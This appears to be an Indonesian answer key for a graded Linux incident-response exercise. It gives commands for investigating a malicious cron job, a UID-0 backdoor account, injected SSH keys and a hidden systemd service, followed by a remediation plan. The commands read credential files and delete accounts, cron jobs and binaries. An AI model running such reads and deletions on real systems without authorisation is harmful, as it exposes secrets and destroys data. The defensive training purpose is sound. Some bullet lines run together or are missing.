Temuan 2 β Malicious cron:
crontab -l -u nginx
cat /var/spool/cron/nginx
ls -la /var/spool/cron/
Temuan 3 β Backdoor account:
awk -F: '$3 == 0 {print}' /etc/passwd
grep "sysmon" /var/log/secure
stat /etc/passwd
Temuan 4 β SSH key injection:
find / -name authorized_keys -exec ls -la {} \; -exec cat {} \;
stat /home/nginx/.ssh/authorized_keys
grep "Accepted publickey" /var/log/secure
Temuan 5 β Malicious systemd service:
systemctl status sys-monitor.service
cat /etc/systemd/system/sys-monitor.service
md5sum /usr/local/bin/.monitor
strings /usr/local/bin/.monitor | grep -i "connect\|http\|socket"
Jawaban 2d β Multiple Persistence Mechanisms (10 poin)
Mengapa penyerang menggunakan multiple persistence:
Risiko bagi penyerang:
Jawaban 2e β Rencana Remediation (10 poin)
Fase 1: Forensik (SEBELUM remediation)
ss -tnap, iptables -L -n)Fase 2: Eradication
userdel sysmoncrontab -r -u nginxsystemctl disable --now sys-monitor && rm /etc/systemd/system/sys-monitor.service/tmp/.cache/update.sh, /usr/local/bin/.monitorFase 3: Hardening
/etc/cron.allow hanya untuk user yang berwenangThis repository is licensed under the Creative Commons Attribution 4.0 International (CC BY 4.0).
Commercial use is permitted, provided attribution is given to the author.
Β© 2026 Anindito